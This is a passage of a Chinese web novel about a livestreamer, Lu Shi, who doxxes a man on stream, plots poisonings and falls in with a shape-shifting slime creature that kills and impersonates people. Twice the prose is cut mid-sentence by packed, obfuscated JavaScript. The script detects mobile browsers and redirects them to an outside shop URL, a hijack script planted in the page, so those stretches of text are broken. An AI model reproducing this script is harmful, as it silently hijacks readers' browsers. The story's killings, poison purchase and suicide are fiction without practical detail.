“滚,”陆拾的声音又冷又动听,“不要再出现在我面前!” 没等他有任何表示,陆拾就转身怒气冲冲地跑了,而所有看热闹的人都不敢阻挡陆拾的脚步。 徒留他疑惑不解地站在原地,想着周予安原来还有个恋人,应该是他没调查清楚。 他要弄清楚周予安的恋人是谁。 * 路灯在地上拖出长长的、张牙舞爪的影子。 陆拾几乎是凭着本能一路跑回家,哦不是,路过便利店时,还给自己买了一箱啤酒。 箱子有些沉,冰冷的铝罐隔着纸箱传递着寒意。 他要借酒消愁。 脑子里只剩下这个简单粗暴的念头。 还有什么比发现周予安早已有了恋人,更令人崩溃的事情呢? 他想不出来,他好痛苦。 终于回到家里后,他拆开啤酒箱,拿出一罐,拉开拉环。 带着麦芽发酵气味的液体涌入口腔,流入喉咙,引来短暂的刺激和更深的苦涩。 他仰头,几乎是一口气灌下了大半罐。 他痛苦地喝了一整罐,脸颊已经有些发热,但脑子还算清明。 还不够,远远不够。 需要把堵在胸腔里的一团乱麻全都倾倒出去,否则他觉得自己会炸开。 他跌跌撞撞走进卧室,打开电脑和直播设备。 自从靠着直播赚到足以维持生活的钱后,他对这份事业就彻底随心所欲了。不再固定时间,不再刻意讨好观众,想播就播,不想播就消失几天。 他坐定,调整了一下摄像头角度,又从抽屉里翻出直播专用的黑色口罩和美瞳戴上,然后点开直播按钮。 [八点半就开直播,何意味?] [哇,第一次见主播在这么阳间的时间开播。] [wc这沙币还敢播,圈钱没圈够?] 陆拾瞥了一眼滚动的弹幕,只是说: “我被渣男骗了,我好伤心。” 弹幕因为这句石破天惊的话停滞一瞬,随即以更快的速度滚动起来。 说陆拾喝醉了吧,他还知道尽量在喝酒摘掉口罩的时候,移开摄像头。说陆拾没喝醉吧,他又不管不顾把所有细节一一道来。 “初见的时候下着雨,我在我家后院……嗯,就是那块墓碑附近。”他含糊地带过了具体地点,“碰到了他,长得很好看……声音也好听,眼睛是琥珀色的。” “他给我撑伞,送我回家,还要了我的联系方式。” “我好兴奋,睡不着,就调查他。”陆拾省略了中间一段不光彩的过程,“我知道他毕业的学校,就在学校匿名论坛上搜他的名字,他的花名首字母缩写之类的,搜到一些帖子,说他已经有男朋友了。” [好吓人,我是说主播好吓人,像我以前遇到的偏执狂,好恶心。] [我也想被60这样爱着呜呜] “我顺藤摸瓜,”他嗤笑一声,“顺着那些蛛丝马迹,摸到了他男朋友的社交账号,他男朋友好像叫什么芬/太尼,还是什么鬼名字……算了,不重要。” “我翻到了他们两人出去玩的照片,特别亲密地靠在一起。在山上,在海边,还有情人节夜晚的互送花束。” “既然都有了男朋友,为什么要约我,为什么还要让我误会?” [小厨男散了吧,早都被黄毛玩烂了捏。] [好想接盘60当ATM,被60酱用夹子音这样那样羞辱呜呜] [所以渣男叫什么名字?我好急好急。] [太哈人了,不去表演系真是浪费人才了。] [别在直播间曝人名吧,再怎么说你也不算小主播了。] “周、予、安。” 陆拾一字一顿。 他甚至还记得对方自我介绍时的话语,带着一种近乎刻薄的模仿,补充道: “给予的予,安全的安。” 名字被赤/裸裸地暴露在直播间里,弹幕瞬间爆炸。 静了静,他又起身,一声不吭地把周予安的信纸和打火机拿过来。 “这个也烧了吧,”陆拾说,“反正不是送我的。” 在直播间无数双眼睛的注视下,他点火,幽蓝的火苗窜起,在他的指尖摇曳。 他最后看了一眼信纸上的那句话。 唯一珍视的存在?唯一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159747|196589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想要留住的存在? 可笑。 陆拾不再犹豫,直接将信纸一角凑近了火苗。 干燥的纸张易燃,橙红色的火焰瞬间舔/舐而上,迅速蔓延,贪婪地吞噬着纸张,发出细微的噼啪声响。 火光照亮了他戴着口罩的下半张脸,又带着细小的黑灰色飘飘悠悠落下。 然后他开了一罐新的啤酒。 意识像沉在粘稠的深潭里,脑子里全是周予安的名字,火焰的余光似乎还残留在视网膜上。眼前的景象时而清晰,时而模糊成一片晃动的色块。 他忘了自己是怎么关掉直播的,只记得在一片混沌中,隐约听到了什么声音。 哦,好像是有人敲门。 陆拾晕晕沉沉地撑起身体,拖着沉重的脚步一步一步挪向门口,拧动门把手,拉开了门。 一道身影站在门口,背光而立,轮廓有些模糊,但他瞬间就认出了那个身形,那件在雨中见过的白色风衣,还有那张熟悉的面孔。 周予安。 他脸色一沉,立刻甩上门,可门在合拢到一半时,被一只骨节分明、稳定有力的手抵住了。 僵持片刻,他率先妥协了,因为他真的好累,全身上下都没什么力气。 周予安敞开门,上前一步道:“你喝酒了?” 陆拾刚想说什么,痒意却从喉咙里窜上来,引发了一阵剧烈的咳嗽。 一只手伸过来,稳稳地扶住了他因为咳嗽而摇晃的身躯。 周予安的声音近在咫尺,带着明显的关切:“生病了?” 他甩开周予安的手,“不用你管,你这个脚踏两条船的死渣男。” 周予安问:“你以为我的其他交往对象是谁?” “你误会了,”他向前微微倾身,拉近距离,“我只追求过你一个人。” 陆拾从喉咙里挤出短促的笑: “哦?那么芬/太尼,不是,芬尼尔是你的谁?” 他终于说对了那人的名字。 沉静片刻,周予安回答:“事情不是你想的那样。” 他不想听这没用的废话。 不等周予安再说什么其他的废话,他就将自己如何在论坛发现线索,如何顺藤摸瓜找到芬尼尔的社交账号,看到了那些亲密的照片,颠三倒四地一股脑说了出来。 他说完了,因为激动和醉酒而头晕目眩,眼前的周予安仿佛分成了两个重叠的影子,晃得他更加恶心。 周予安:“我会向你证明,他不是我的男朋友。” 陆拾小发雷霆:“我讨厌你骗我!” 周予安忽然抬手,似乎想要触碰他的脸颊,或者拂去他眼角可能存在的什么。 动作很轻柔,却让陆拾如同受惊的动物向后一躲,背脊重重撞在门框上,传来一阵钝痛。 也就在这一躲之间,他才后知后觉地发现脸颊上的湿凉。 他抬手抹了一把,指尖一片湿润,眼眶发酸。 他胡乱地用手背擦着脸,却越擦越湿,继而感到一阵懊恼。 “我会给你一个解释,”周予安的眼神依旧温柔,“你相信我吗?” 陆拾:“不相信。” “我和他认识,”周予安斟酌词句,语速缓慢,“但不是你想的那种关系。那些你看到的,存在误会。” 停顿片刻,他观察着陆拾的反应,陆拾只是红着眼睛瞪他,脸上写满了“看你还能编出什么花来”的不信。 周予安继续说,语气更为温和: “我可以找芬尼尔亲自来跟你说,澄清这一切,好不好?” 陆拾脑子一片混乱,直觉想要拒绝,想要关门,缩回自己的壳里。 但最终他没这么做,开口道: “……不好。” 他好累,又做不到完全拒绝周予安,不想就这样一刀两断。他想听听解释,想要让周予安证明是他错了。 如果是他误解了周予安,他肯定会道歉认错,会让周予安随便处置他。 空气沉寂片刻。 周予安拿出手帕,抬手轻轻擦掉了他的眼泪,这次他没有拒绝。 他的脸上湿麻一片,但刚才那种想要毁灭一切,想要炸了什么的心情似乎稍微平息了。 周予安收起手帕,“相信我。” 他摇摇头,声音缥缈不定,“我不知道。” 他是真的不知道,而且他的脑子一塌糊涂,几乎无法形成有效的思考逻辑。 “嗯,”周予安重复道,像一台复读机,“既然你不相信我,明天我会让他和你解释这一切。” 周予安神情温柔,宛如戴了一层温文尔雅的面具。 有那么一瞬,他的脑海中划过这样的念头,随即又如同流星的长尾,转瞬消散在混乱无序的思绪里。 “以后心情不好可以打我,”周予安又道,“但不要喝这么多酒了。” 他忽然想到,周予安还不知道他在直播平台曝光了消息。 “哦,”他声音艰涩,“但不代表我原谅了你。” 漆黑的睫毛黏成了一簇一簇,皮肤像要融化的奶油,嘴唇却很鲜艳。 “如果明天我没等到你的解释,你就是大骗子。”陆拾说,“我会杀了你,一定会的。” 4. 第4章 夜晚的城市并未沉沉入睡,霓虹闪烁如白昼。 陆熠拦下一辆出租车,报出周予安的住址。上车后,他戴上耳机回看陆拾的直播。 屏幕里的陆拾戴着口罩和美瞳,眼神因为酒精和情绪涣散而激动,语无伦次却又执拗地讲述着发现的过程。 比平日里的模样更为放纵,脸颊泛起薄红,舌尖也是极为艳红的颜色。 屏幕的光映在他脸上,那双如同蜜糖的琥珀色眼眸深处划过一丝波澜。 他有些自责,自责于没挑选好替代身份的人选。 当初他选中周予安的理由很简单,长相符合陆拾可能的审美,气质干净,家境优渥能提供稳定的物质基础,方便他后续接近照顾陆拾。 像挑选趁手的工具或合身的衣服,他只评估了表面的有利条件,没在意调查周予安是否还有男友的事情。 这简直是致命的疏忽。 如果当初更谨慎一些,花更多时间观察和筛选,或许就能避开这个麻烦。 但如果毫无意义。 问题已经发生,他必须解决。 退出直播回放后,陆熠点开消息列表的红色未读标记。 不出所料,大部分未读消息都来自同一个联系人——芬尼尔。 他点开聊天窗口,最新的消息记录往上滚动。 [芬尼尔:我哪里惹你不高兴了?](发送于三天前) [芬尼尔:就这么冷暴力我,断崖分手?你到底在哪里?](发送于两天前) [芬尼尔:其他人也找不到你,你失踪了?Hello?需要我报警吗?](发送于两天前) [芬尼尔:说话,不然我找你爸妈去了。](发送于5个小时前) 陆熠需要找到芬尼尔,需要芬尼尔配合他,向陆拾证明他们两个什么关系都没有。 他没有立刻回复,而是点开芬尼尔的主页动态。手指滑动,一张张照片快速掠过。 正如陆拾所说,动态里有好几张芬尼尔和周予安的合影。 照片里的周予安笑容温和,芬尼尔则显得更加开朗外向,紧紧挨着周予安,一只手有时搭在周予安肩上,有时搂着腰,头靠得很近,对着镜头露出笑容,眨着一双看起来湿漉漉的狗狗眼。 他检查了每一张照片,不放过任何细节,随后切回与芬尼尔的聊天界面。 指尖在屏幕上敲击,打出一行字,又删掉重新组织。最终,他才发送了一句话。 [Hay:抱歉,约个地点我们聊聊吧。] 消息发出去后,回复来得很快。芬尼尔似乎一直在等,带着怨气和不甘,迅速敲定了一家餐厅作为见面地点,时间就定在明天上午。 翌日上午,他打车来到约定地点,目光梭巡一圈,很快在靠窗的卡座里发现了目标。 芬尼尔几乎在他进门的瞬间就仰起头颅,还没等他坐下,就立刻从座位上弹了起来,张开手臂就想扑过来。 动作急切,带着一种渴望确认的冲动。 陆熠反应极快,几乎是本能地侧身后撤半步,同时抬手做了一个明确疏离的阻挡姿势,说: “先谈正事。” 芬尼尔的动作僵在半空,脸上的表情淡了几分。 他只是说:“先点些东西吧。” 餐点上桌五分钟后,陆熠就快刀斩乱麻: “抱歉,我们分手吧。” 芬尼尔身体前倾,双手交叠放在桌面上,瞳孔微微一缩。 “我喜欢上其他人了,他现在误会了我们的关系。”他继续说,“我想请你帮忙向他澄清,就说我们从来没谈过。” 芬尼尔那双眼睛里,怒火升腾起来: “到底发生了什么,你在发什么疯?” 陆熠微微后靠进椅背里,“我没发疯,我可以付钱。” “我很抱歉,芬尼尔。但我遇到了此生的真爱。” 那张脸明明是温和的,却又透露出冷淡的疏离。 芬尼尔倏然起身,动作带动椅子与地面摩擦发出刺耳的响声,引得旁边几桌客人侧目,芬内尔胸膛剧烈起伏,“我不接受,我看你是没睡醒!” 说完,他再也无法忍受多待一秒,转身就朝着餐厅门口冲去。 陆熠平静地扫码支付费用,朝着芬尼尔消失的方向走出了餐厅大门。 芬尼尔并没有走远,此刻正站在路边背对着他,肩膀微微耸动,似乎正在平复情绪或低声咒骂。 他走过去,在芬尼尔身后几步远的地方停下,沉默等待着。 风吹动着他额前的碎发和衣服的下摆,他的目光落在芬尼尔颤抖的背影上。 片刻后,芬尼尔忽然顿住了,动作很突兀,像是被定格了,接着缓缓转过身。 那张脸上的愤怒并未完全散去,却被一种更浓重的东西覆盖了。 芬尼尔的声音微微颤抖,“你真的是周予安吗?” 陆熠反问:“我难道还能是其他什么人吗?” 芬尼尔直勾勾地盯着他:“你刚才吃了马卡龙。” “嗯,”他不知道芬尼尔要说什么,“怎么了?” “那里面有花生,可你对花生严重过敏。”芬尼尔的脸色很难看,“刚才的份量,足够你昏迷进医院了。” 陆熠没有说话,只是看着对方。 “你……”芬尼尔后退一步,“你到底是谁?” 唉,计划失败了。 他瞬间缩短了与芬尼尔的距离,在对方因极度恐惧而僵直的瞬间,一只手捂住了口鼻,瞬间压制了所有可能的惊叫。 另一只手则揽住腰身,毫不费力地将芬尼尔整个人提离地面,像拖拽一件没有生命的货物,迅捷无声地钻入旁边暂且无人的小巷里。 十五分钟后,从小巷的阴影里走出一个人,身形、衣着都和刚才被拖进去的芬尼尔一模一样。 吃得有些撑,这么短的时间内分解一个人还是有些勉强。 计划有变,他只好暂时变成芬尼尔,去和陆拾解释这件事情了。 现在他叫芬尼尔了,顶着芬尼尔脸的陆熠想。 他要用这个身份向陆拾伪造误会,让芬尼尔作为讨厌的路人炮灰下线。 * 阳光透过窗帘缝隙洒落,照亮了卧室内漂浮不定的尘埃。 陆拾终于从宿醉中醒来,喉咙干涩得像在沙漠里行走了三天三夜,每一次吞咽都带着火辣辣的痛楚。 脑子里却划过了两个名字。 周予安。芬尼尔。欺骗。 阴暗的念头像毒蛇一样弯入他的脑子,然后占据。 他当即就翻身下床,给自己倒了一杯水,又查询了N种毒死成年人类的方法。 化学名称,植物毒素,工业制品…… 他浏览着描述不同致死机理和症状的文字,眼神专注得可怕。 要是芬尼尔解释得不对,他就先杀了芬尼尔,再杀了周予安。 顺序是必要的。 先除掉他憎恨的人,再处理给了他希望又亲手掐灭,用温柔表象掩盖欺骗本质的人。 他的行动力很强,立刻切出浏览器,点开某个隐藏的加密群组。购买致死毒药的交易在几分钟内通过网络敲定,支付方式隐蔽。 整个过程他异常冷静,仿佛只是在订购一份普通的外卖。 不爱我,欺骗我,那就去死吧。 陆拾愤愤地想。 要毁灭带来痛苦源头的人。 不能在公共场合下毒,容易误伤和追查。最好是私下,在封闭空间,就在今天,就在他家里。 芬尼尔或许可以利用解释的时机。周予安呢,要一起毒死吗? 不,要分开,必须分开。 不能让他们同时死,那算什么,殉情嘛,他才不干。 他想象着芬尼尔喝下掺毒的饮品,那双看起来分外可恶的狗狗眼因为痛苦而失去神采,那张年轻的脸变得扭曲,又想象着周予安那张温和俊秀的脸,在毒性发作时会是什么表情。 惊讶?痛苦?还是依旧平静? 他要看着,近距离看着。 周予安没告知他们什么时候过来,他就趴在窗台前,一边等人,一边翻来覆去看芬尼尔的动态。 虽然没有直接亲上的照片,但是都这么亲密了,他也根本没办法自欺欺人。 每一次看到芬尼尔那张脸,那双在照片里总是笑得弯弯的眉眼,一股暴戾的杀意就冲上头顶。那双湿润的狗狗眼无比碍眼,他真想用刀子戳瞎。 想着想着,他的善良人格突然又顶号了,安慰自己不一定呢。 或许真的误会了呢? 周予安说要解释,芬尼尔也答应来澄清。 倘若他们真的只是好朋友,照片只是角度问题,讨论只是谣言? 倘若昨晚周予安的急切和承诺,是真的呢? 自己就这样判了他们死刑,是不是太极端了? 又等了一会儿,他的妙妙毒药小外卖也送到了,万事就绪。 此时他的心情竟然异常平静。 如果解释合情合理,他不会杀死任何人。 下午一点多的时候,他终于从窗台望见芬尼尔从街道尽头而来,但却孤身一人。 周予安呢?陆拾不解。 难道周予安不打算一起来吗? 在芬尼尔能看清自己在窗台趴着的身影之前,他合拢窗帘,等待敲门声。 一分钟后,敲门声响起。 他慢吞吞走到门前,手搭在门把手上,又等了半分钟才打开门。 陆拾以为自己会先发制人,会冷冷一笑,会咄咄逼人。但事实上,在这个瞬间,他对于芬尼尔的认知似乎被迅速重构了。 无数思绪如同沸腾的气泡,在他混乱的脑海里咕嘟咕嘟冒出来,却找不到出口。 他只能看着门外的芬尼尔,甚至不知道应该说什么。 芬尼尔站在门口,似乎也在打量他。那双狗狗眼很清澈,看起来似乎有点紧张。 “你好,”芬尼尔打破沉默,“我想你就是陆拾吧?” 他点点头,喉咙发紧,发不出声音。 芬尼尔垂下眼眸,“我认为你误会了我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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沉静片刻,陆拾开口道:“我理解你。” 芬尼尔一怔,眼睛里划过难以置信的愕然,仿佛听到了最不可能听到的话。 他看着对方错愕的样子,捧起咖啡,轻轻啜饮。 随后他直视着芬尼尔的眼睛,解释道: “我也会这样喜欢一个人,喜欢到想用尽所有卑劣的手段留住他。” “哪怕知道不对,哪怕知道很恶心,哪怕会伤害别人,也控制不住。” “我理解你,并且感同身受。” 客厅里陷入了一片微妙的寂静。 他却微笑着,继续说 : “我觉得你的眼睛很可爱,有没有人说过,就好像狗狗一样。” 声音温和,尾音却轻轻上挑,扬起一个微妙的弧度,蛊惑人心。 芬尼尔的表情有些茫然。 陆拾放下咖啡杯,撩起一侧的发丝,露出鲜艳的长流苏耳坠: “特别可爱。” 他凑近芬尼尔,轻轻眨了眨眼睛,芬尼尔却拉开了一段距离。 就好像他是什么洪水猛兽。 “我来这里见你,是想要乞求你的原谅,”芬尼尔清清嗓子,道,“保证以后再也不会出现在你和周予安面前,再也不会破坏你们的感情。” “你难道不觉得我就像小说里,惹人讨厌,应该一两章就下线的炮灰吗?” “哦,”他坐到芬尼尔旁边,“原来你喜欢看小说啊。” 芬尼尔:“……” “见到你之前,我还在想着要怎么杀死你。”陆拾说,“但真的见到你,我的心情却很奇怪。” “如果真相正如你所说,我应该因为你的做法而讨厌你,但是我无法讨厌。” 此时两人仅有一尺之隔,他能轻易地看清芬尼尔眼睛里的挣扎,还有长长的睫毛,像是两把小刷子在他心里扇动着。 他继续凑近,发梢因为前倾的动作,几乎要扫到芬尼尔的脸上。 但他终究没有触碰,只是维持着极近的距离,端详着芬尼尔的面孔,从那微微颤抖的睫毛到挺直的鼻梁: “为什么我没办法讨厌你呢?好矛盾,好奇怪。” 明明没见到真人之前,他看着照片的时候,满脑子都是想毒死芬尼尔。 “我不知道,”芬尼尔避开了他的视线,“我不知道你究竟怎么看待我。” “正如我所说,我是一个无比卑劣的人,你应该讨厌我。难道你不喜欢周予安吗?” “我当然喜欢他,”陆拾摇头,很确定他是喜欢周予安的,“只是我在想另一个解决方案。” 芬尼尔轻轻问:“什么解决方案?” “你喜欢周予安,我也喜欢他,”他嘴角上扬,露出一个动魄动心的微笑,声音带着蛊惑人心的磁性,“要不然,我们三个人在一起吧?” 5. 第5章 陆熠困惑不解,且毫无头绪。 到底哪里出了问题? 芬尼尔难道不应该解释后被陆拾讨厌,光速下线吗? 他维持人设,看着陆拾,话音很轻:“等等。” 陆拾保持着极近的距离,眼睛微微一亮,歪着头,几缕不听话的发丝滑落额前,带着某种天真的执着: “等什么?” 明明整个人看起来冰冷不可接近,但在面对芬尼尔的时候,那冷冽就自动消解了,融化成潋滟的碧波。 芬尼尔眼神闪烁,喉结滚动: “不对……我是说,我不应该这么做。” 陆拾笑笑,语气笃定:“我觉得可以。” 虽然在此之前,他从未想过这种事情,但凡事都有第一次嘛,就像他第一次喜欢上一滩粉色史莱姆那样。 事到如今,木已成舟……哦不,还差周予安的同意。 芬尼尔说,声音里多了几分不符合人设的忧郁: “可周予安他讨厌我。” 陆拾思考片刻,直起身体,稍微拉开了一点距离。 他摸到手机,按下熟记于心的周予安的号码,将手机举到耳边。 可传来的不是周予安温润的嗓音,而是无人接听的系统提示音。 他放下手机,盯着暗下去的屏幕,喃喃自语: “奇怪。” 周予安到底在做什么? 一丝微妙的不安掠过心头,但很快又被冲散了,像无声融于水流中的细小浪花。 他抬眸看向芬尼尔,摸了摸心脏的位置: “但是我真的喜欢你,见到你心跳得很快,与此同时,我还喜欢着周予安。” 芬尼尔抿着唇,眨着那双狗狗眼:“我们应该是情敌关系。” 陆拾却不以为然,随意地挥了挥手: “小说里,现在都流行情敌变情人了。” 身体继续前倾,手肘撑在膝盖上,他托着脸颊,眼神亮晶晶地看着芬尼尔,仿佛在分享一个有趣的热门题材。 芬尼尔:“……” 他把这样的沉默当成默许,不再满足于言语上的靠近,目光锁定在芬尼尔的脸上,浸染着近乎天真的侵略性。 他再次试图靠近,两人的气息几乎交缠在一起,肌肤相贴似乎只在下一秒。 客厅的空气变得稀薄粘稠,又摇摇欲坠。 芬尼尔看到陆拾咫尺之遥的眉眼,还有色泽绮艳的嘴唇。 一切都暧昧极了。 “周予安会伤心的,”他主动握住陆拾的手,缩短了最后一丝距离,却说,“讨厌的人和他喜欢的人背着他亲密,他应该会很伤心。” 陆拾微微一怔,慢慢皱起眉头,像在认真思考,低声承认道,“……你说的没错。” 如果周予安暂时抽不开身,至少应该在做什么之前,主动告知情况。 他抽回手,再次拿起手机。这一次他没有打电话,而是点开了与周予安的聊天界面,按下了语音消息键。 他将手机凑到唇边,稍微清清嗓子,道: “周予安,我喜欢你,但我也喜欢芬尼尔。” 他瞥了一眼旁边坐着的芬尼尔,提出认真的疑问: “我们就不能三人约会吗?” “快点回复我,为什么不接我电话?为什么玩失踪?” 那张脸上的表情带着疑惑,还有些隐隐的不安。 他讨厌找不到人的感觉,这令他提高了声调: “如果超过3个小时不回复我,我就要报警说你走失了。” 语音发送成功。 他转向芬尼尔,征询意见: “这样可以了吗?” “如果你真的对我一见钟情,”芬尼尔顿了顿,似乎想要确保他在认真听,而他确实在认真倾听,甚至屏住了呼吸,“就证明给我吧。” “怎么证明?”他像真的在认真讨教,又像在列举一些早已想好的选项,“抱抱,牵手,还是亲亲?” 他说得很自然,手指轻轻点了点自己的嘴唇,又指向芬尼尔,眼神在对方脸上流连。 “我饿了,”芬尼尔给出了完全不同的答案,“想吃你亲手做的饭。” 这个要求出乎陆拾的意料,脸上的兴奋的神色凝固一瞬,显露出些许为难。 “我只会做很简单的饭,”他坦白道,降低声音,“而且不太好吃。平时我都点外卖。” 这是实话,他早起早睡都成问题,怎么可能会有闲心做这些。 可他越为难,芬尼尔越坚持,他怀疑对方是故意和他作对,又没有确凿无疑的证据。 芬尼尔轻轻开口:“陆拾。” 没有特别的语气,却让陆拾心头莫名一软,或者说,被那种平静的注视看得无法拒绝。 他想起自己刚才说的喜欢,如果连这样并不过分的要求都无法满足,那喜欢岂不是空谈? 他舔着嘴里的钉子,又看看窗外,说: “好吧,但我家冰箱里什么都没有,需要去外面买。” 芬尼尔面色不变:“我可以等你回来。” 嗯? 他察觉到了什么,脸上的妥协和无奈迅速褪去,勾起唇角: “不行。” 芬尼尔没说话。 “你要陪我一起去,”他起身,居高临下地看着坐在沙发上的芬尼尔,“我们可以在路上等周予安的回复。” 芬尼尔只是轻轻摇了摇头,动作幅度很小,但拒绝的意味明确,“我就在这里等你回来。” 他微微眯起眼睛,审视着芬尼尔平静的脸,心里的一些念头破土而出。 陆拾又俯身,双手撑在沙发扶手上,将芬尼尔困在自己和沙发之间的小小空间里,一字一顿地说: “不、可、以,你以为我傻吗?” 他凑得更近,呼吸几乎洒在芬尼尔的脸上,清晰地吐出他的推断: “你是想在我离开家后,伺机逃走吗?” “逃走”这个词被他咬得很重,声音浸着好听的冷意。 他不允许,芬尼尔必须在他的视线范围内,直到周予安给出回复。 气氛仿佛陷入了一片看不清波澜的僵持,周围静寂得令他心烦意乱,一颗心也沉了下去。 要不要采取一些更直接的手段? 比如,抢走芬尼尔的手机? 或者用更明确的言辞甚至肢体限制,确保芬尼尔无法离开? 就在他认真考虑着是否要付诸行动时,芬尼尔忽然又改变了主意。 “好吧,”芬尼尔粲然一笑,紧张的氛围瞬间无影无踪,“我陪你一起去。” 下午阳光明媚,天空是悠远的蓝色,有浮动的云从头顶掠过,飞鸟不时低空盘旋。 刚走出家门,陆拾就拉高了外套的拉链。 他转头看向芬尼尔,对方只穿着一件看起来并不厚实的毛衣,但在微微寒冷的风中并无瑟缩之意。 陆拾问:“你喜欢吃什么?” 这很关键。 “我不挑食。”芬尼尔回答得简洁,“如果你以后想给周予安做饭,记得他不能吃含花生的东西。” “他花生过敏。” 陆拾认真倾听:“花生过敏啊,我记住了。” 这条信息被作为特殊的注意事项储存起来,他保证不会忘记有关周予安的一切。 话题自然滑向了缺席的第三人。 “你到底为什么喜欢周予安?”沿着长街漫步,芬尼尔问,“也是和我同样的喜欢吗?” 他垂下眼眸,跟着芬尼尔的步调慢慢走着。 喜欢周予安的原因啊。 因为那双琥珀色的眼睛太温柔,宛若流淌着浓稠的蜜糖? 还是因为,那把在雨中恰到好处出现的伞? 好像都是,又好像都不足以完全概括。 他无法定义。 就好像周予安甫一出现在他的世界里,他就坠入了爱河。 至于同样的喜欢,应该是吧,至少他无法比较衡量,无法精准计算。 他还没想好如何回答,芬尼尔又抛出了一个更尖锐的问题,声音轻轻的,却像一根细针: “喜欢谁的分量更重一些?” 他的脚步不自觉变慢,因为他根本回答不上来。 于是他选择反问: “那你呢,你会向喜欢周予安一样喜欢我吗?” 芬尼尔停下脚步,风吹动耳侧的碎发,掠过那双湿漉漉的眼睛。几秒钟的沉默,仿佛在思考,又仿佛只是任由风声流淌。 毫无预兆地,芬尼尔的脸上绽放出一个笑容,露出整齐洁白的牙齿。 那双狗狗眼弯成了好看的形状,仿佛盛满了细碎的日光,闪烁着一种近乎灼热的、毫无保留的真挚,晃得陆拾呼吸都为之一滞。 “我想先和你去那里,”芬尼尔说,指向不远处观景塔的顶端,“看日落,可以吗?” “很浪漫吧,一起看日落什么的。” 陆拾:“好。” 答应之后,他才后知后觉地想起那个缺席的人,遗憾和歉疚的情绪滑过心底,又说: “可惜周予安不在这里,不能一起看。” 于是原本前往超市的路线更改了,目标变成那座高耸的地标塔。 他们买票后,乘坐透明的观光电梯上升。陆拾看着窗外飞逝的景色,又看看身边芬尼尔的侧脸,忽然觉得满足。 在观景台入口处的小商店里,芬尼尔饶有兴致地拉着陆拾,买了一些小巧的纪念品。 话说回来,芬尼尔不居住在这座城市,可能根本没来过这里。 他便任由对方挑选、付钱,偶尔看一眼毫无动静的手机屏幕。 周予安依旧没有回复。 最终,他们登上了位于三百多米高空的观景平台。 环形走廊,360度无遮挡的视野。风变得强劲凛冽,呼啸着掠过耳畔,吹得人衣袂翻飞。 芬尼尔走到玻璃护栏边,双手搭在冰凉的栏杆上,望着远处。风吹乱了他的头发,侧脸轮廓清晰立体。 “你在想什么?” 芬尼尔忽然问。 陆拾的思绪被拉回原地。 盯着下方那片遥远模糊的街道脉络,他几乎脱口而出: “我在想,从这里跳下去,应该会摔成肉饼。” 芬尼尔笑笑:“你喜欢吃肉饼吗?” 此刻他特别想凭空变出一个发卡,固定住他乱飞的黑发,就连长耳坠也不听话地摇曳不定。 他拢住乱飞的发丝,“喜欢吃粉色史莱姆味的肉饼。” 甜甜的,清新的,无比怀念的。 芬尼尔的瞳孔微微一缩。 “虽然你没有尝过,”他回味道,“但的确很好吃。” 静了静,芬尼尔伸手,替陆拾整理了一下几乎要盖住下巴的衣领,弯起唇角: “我知道周予安为什么喜欢你了。正因如此,我才意识到自己所作所为的卑劣之处。” “卑劣就卑劣吧,”他认真地说,“只要是出于喜欢,都可以被原谅的吧。” 芬尼尔凝神细听,脸上的笑容渐渐消失,最终只留有近乎疲惫的平静。 他转回身,重新面向栏杆外的虚空,双手再次搭在冰冷的栏杆上,沉默了很久,久到陆拾以为他不会再说什么。 然后他才开口,声音很轻,像是在讲述一个与己无关的故事: “我曾经遭遇过一些事情,是周予安看不下去,帮助了我。因此我喜欢上了他。” 陆拾:“原来是这样。” “我的父母,”他继续说,“在去年双双去世了。” 面对这个话题,陆拾也无从安慰,只能沉默着。 “我不知道该怎么办,”芬尼尔转脸看向他,“只好缠着周予安。” 芬尼尔似乎并不需要安慰。 “谢谢你,陆拾。”芬尼尔继续诉说,“但其实,我本来就不想存在于这个世界上了。” “缠着周予安,只是像抓住一根救命稻草,再绝望地勒紧。” 陆拾摇摇头,“不是这样。” 他忽然变得善解人意,仿佛前不久还要毒死芬尼尔的,不是他本人一般。 “ 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灯光惨白,一张桌子,几把椅子,墙面是压抑的浅灰色。 一名面容严肃的警察坐在他对面,打开了记录本,询问道: “和芬尼尔是什么关系?” 陆拾听到自己的声音响起,带着一种梦游般的恍惚: “还没确认关系的恋人。” “周予安呢?”警察显然已经调取了初步信息,“你们三个,到底什么关系?” 他不假思索道:“我们三个都很相爱。” 警察的神情微变,“请做出进一步解释。” “我想和他们两个在一起,”陆拾喃喃地说,“可是他跳楼了。” 在留下联系方式,被告知随时可能再次被传唤后,他被允许离开。 在走下警局门前的台阶时,眼泪毫无预兆地涌现,拖曳着滑下眼角,顺着脸颊滚落,又被风吹得冰冷刺骨。 他迎风站着,没有抬手去擦,任由泪水模糊了眼前的景象。 如果他早点出现,是不是就能拉住芬尼尔? 是不是就能让他觉得,这个世界还有一点点值得留恋的东西? 无比愧疚,无比伤心。各种情绪全部混合在一起,又被冷风吹散飘向远方。 此情此景,他又想起了那个人。 芬尼尔死了,周予安呢? 他本能地拿起手机,一遍又一遍地拨打着熟记于心的号码。 可听筒里传来的,依旧是那单调重复的系统提示音:“您拨打的电话暂时无人接听,请稍后再拨……” 无人接听,始终无人接听,就好像周予安也死了一般。 * 标准尺寸的冷藏柜里,一摊难以辨清原始轮廓的肉饼忽然颤抖了一下,不是肌肉的抽搐或神经的残留反射,更像是具有自主意识的涌动。 陆熠蠕动着,把拟态的人类血肉变回了亮粉色的凝胶,又从柜门与柜体之间的间隙渗出外面。 他必须立刻离开,其实他真的不想跳楼,因为陆拾可能会伤心。 可是他实在想不到其他方法了。 